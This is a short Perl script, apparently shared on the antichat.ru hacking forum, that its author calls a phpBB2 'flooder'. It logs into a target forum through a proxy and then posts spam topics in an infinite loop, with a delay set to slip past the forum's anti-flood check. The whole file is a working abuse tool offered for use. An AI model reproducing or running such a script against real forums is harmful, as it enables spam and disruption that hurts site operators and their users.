#!/usr/bin/perl

# phpBB2 флудер, тестировался на phpBB 2.0.22
# C!klodoL
# специально для antichat.ru

use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Cookies;

my $forumurl = 'http://www.site.ru/forum/'; #путь к форуму
my $proxy    = 'localhost:4001';    #прокси
my $forumnum = 97;  #номер форума

my $username = 'Хэккер'; #ник от форума
my $password = 'P@$$w0rD'; #пароль

my $delay    = 30;  #антифлуд задержка
my $subject  = 'Превед!!!'; #тема топика
my $message  = 'Это не флуд =)))))))))))))))))))))))';  #текст сообщения

my $useragent = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new;
$useragent->cookie_jar($cookies);

if ($proxy)
{
    $useragent->proxy('http', "http://$proxy");
}

my $request = $useragent->post($forumurl.'login.php',
                               {username => $username,
                                password => $password,
                                redirect => '',
                                login => 'Log+in'})->as_string;

my ($sid) = $request =~ /index\.php\?sid=(.*)/;

print "[+] Get sid $sid\n";

if ($request =~ / 302 /)
{
    print "[+] Login successful, flooding...\n";
}
else
{
    print "[-] Cant logining\n";
    exit;
}
my $counter = 1;
while (1)
{
    $request = $useragent->post($forumurl.'posting.php',
                                {subject => $subject,
                                 message => $message,
                                 mode => 'newtopic',
                                 sid => $sid,
                                 f => $forumnum,
                                 post => 'Submit'});
    print "[+] Posting topic..".$counter++."\n";
    sleep ($delay);
}